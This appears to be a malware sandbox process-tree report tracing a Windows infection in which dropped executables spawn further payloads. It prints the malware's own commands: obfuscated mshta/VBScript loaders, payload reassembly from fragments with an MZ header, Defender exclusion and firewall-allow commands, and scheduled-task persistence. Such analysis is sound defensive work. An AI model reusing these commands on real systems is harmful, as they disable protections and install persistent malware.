C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2480 /prefetch:110⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --mojo-platform-channel-handle=2464 /prefetch:110⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3112 /prefetch:210⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --mojo-platform-channel-handle=3284 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --mojo-platform-channel-handle=3588 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --mojo-platform-channel-handle=3596 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --mojo-platform-channel-handle=3664 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --mojo-platform-channel-handle=2100 /prefetch:810⤵
-
C:\Users\Admin\Pictures\Adobe Films\j0dmMkg_enJVYkJN3ly7pyb2.exe"C:\Users\Admin\Pictures\Adobe Films\j0dmMkg_enJVYkJN3ly7pyb2.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\PCDWBkK5Bu7hXwwZKQSEcZKB.exe"C:\Users\Admin\Pictures\Adobe Films\PCDWBkK5Bu7hXwwZKQSEcZKB.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\0CYNRpGWARvtFbrz8fnFBAG5.exe"C:\Users\Admin\Pictures\Adobe Films\0CYNRpGWARvtFbrz8fnFBAG5.exe"7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\0Di7zkR0Nr3OOZrrBHJOW6fo.exe"C:\Users\Admin\Pictures\Adobe Films\0Di7zkR0Nr3OOZrrBHJOW6fo.exe"7⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1480 -s 2768⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Pictures\Adobe Films\cIBnQSYr2J_KMW2RvwjriDqG.exe"C:\Users\Admin\Pictures\Adobe Films\cIBnQSYr2J_KMW2RvwjriDqG.exe"7⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\WCvVyuUZJ8dJOaRwEuR2KDPr.exe"C:\Users\Admin\Pictures\Adobe Films\WCvVyuUZJ8dJOaRwEuR2KDPr.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\yYR_0E6XHirmHTzJcUFSMOOj.exe"C:\Users\Admin\Pictures\Adobe Films\yYR_0E6XHirmHTzJcUFSMOOj.exe"7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\qWR2gjRBUFXuJARGxZbNWYSq.exe"C:\Users\Admin\Pictures\Adobe Films\qWR2gjRBUFXuJARGxZbNWYSq.exe"7⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2496 -s 9648⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Pictures\Adobe Films\0159DFXcLaLww_uNr1E9KewO.exe"C:\Users\Admin\Pictures\Adobe Films\0159DFXcLaLww_uNr1E9KewO.exe"7⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST8⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST8⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\cZ8LCDc05qkIjLbzHImM4oDp.exe"C:\Users\Admin\Pictures\Adobe Films\cZ8LCDc05qkIjLbzHImM4oDp.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\4u0Fh6PfDIdPzCG05pPZXbQU.exe"C:\Users\Admin\Pictures\Adobe Films\4u0Fh6PfDIdPzCG05pPZXbQU.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\pYfGZLsTuN6r5upJqZfIgIAk.exe"C:\Users\Admin\Pictures\Adobe Films\pYfGZLsTuN6r5upJqZfIgIAk.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exeC:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe8⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\Underdress.exeC:\Users\Admin\AppData\Roaming\Underdress.exe8⤵
-
C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\lVYJAWj3_AfiTN5OCV7nEgGm.exe"C:\Users\Admin\Pictures\Adobe Films\lVYJAWj3_AfiTN5OCV7nEgGm.exe"7⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\sT3BPOwvul76CymPXE5Bspfo.exe"C:\Users\Admin\Pictures\Adobe Films\sT3BPOwvul76CymPXE5Bspfo.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\HJw5P4Ys2MscHXtMg0pwBFpt.exe"C:\Users\Admin\Pictures\Adobe Films\HJw5P4Ys2MscHXtMg0pwBFpt.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5476 -s 2768⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Pictures\Adobe Films\eA_wuqzuTramJniblkwwgDbk.exe"C:\Users\Admin\Pictures\Adobe Films\eA_wuqzuTramJniblkwwgDbk.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"8⤵
-
C:\Users\Admin\AppData\Local\663087.exe"C:\Users\Admin\AppData\Local\663087.exe"9⤵
-
C:\Users\Admin\AppData\Local\7655557.exe"C:\Users\Admin\AppData\Local\7655557.exe"9⤵
-
C:\Users\Admin\AppData\Local\7519305.exe"C:\Users\Admin\AppData\Local\7519305.exe"9⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\7519305.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\7519305.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )10⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\7519305.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\7519305.exe" ) do taskkill -f -Im "%~NXZ"11⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "7519305.exe"12⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i12⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )13⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"14⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ). RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )13⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q *14⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"15⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "15⤵
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K15⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K16⤵
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K17⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K18⤵
-
C:\Users\Admin\AppData\Local\3873631.exe"C:\Users\Admin\AppData\Local\3873631.exe"9⤵
-
C:\Users\Admin\AppData\Local\2198410.exe"C:\Users\Admin\AppData\Local\2198410.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6528 -s 3009⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"10⤵
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi11⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"13⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV114⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC13⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV114⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "14⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"14⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC14⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"11⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-07D2J.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-07D2J.tmp\setup.tmp" /SL5="$3039C,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT10⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4R3L5.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-4R3L5.tmp\setup.tmp" /SL5="$30390,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT11⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe"C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart12⤵
-
C:\34d4ef04a1be5ac0c4abb9ddc5\Setup.exeC:\34d4ef04a1be5ac0c4abb9ddc5\\Setup.exe /q /norestart /x86 /x64 /web13⤵
-
C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe"C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss112⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://dateadult-contacts.com/?u=h2dp605&o=lxw09vh13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd3ad146f8,0x7ffd3ad14708,0x7ffd3ad1471814⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://dateadult-contacts.com/?u=h2dp605&o=lxw09vh13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd3ad146f8,0x7ffd3ad14708,0x7ffd3ad1471814⤵
-
C:\Users\Admin\AppData\Local\Temp\is-MN8A2.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-MN8A2.tmp\postback.exe" ss112⤵
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6192 -s 17249⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6368 -s 2929⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"8⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"10⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1c0,0x1d4,0x1d0,0x214,0x218,0x7ffd53b0dec0,0x7ffd53b0ded0,0x7ffd53b0dee011⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x13c,0x140,0x144,0x118,0x148,0x7ff7e50c9e70,0x7ff7e50c9e80,0x7ff7e50c9e9012⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1588,7363950601443489858,16726377497289865490,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7960_1460101392" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1604 /prefetch:211⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1588,7363950601443489858,16726377497289865490,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7960_1460101392" --mojo-platform-channel-handle=1908 /prefetch:811⤵
-
C:\Users\Admin\AppData\Local\Temp\chrome1.exe"C:\Users\Admin\AppData\Local\Temp\chrome1.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6056 -s 60410⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\chrome update.exe"C:\Users\Admin\AppData\Local\Temp\chrome update.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"8⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 7440 -s 17089⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\OcWBbXpA_6EaWCW32O6fAAgf.exe"C:\Users\Admin\Pictures\Adobe Films\OcWBbXpA_6EaWCW32O6fAAgf.exe"7⤵
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\8⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \8⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM8⤵
- Checks SCSI registry key(s)
- Creates scheduled task(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal8⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\9⤵
-
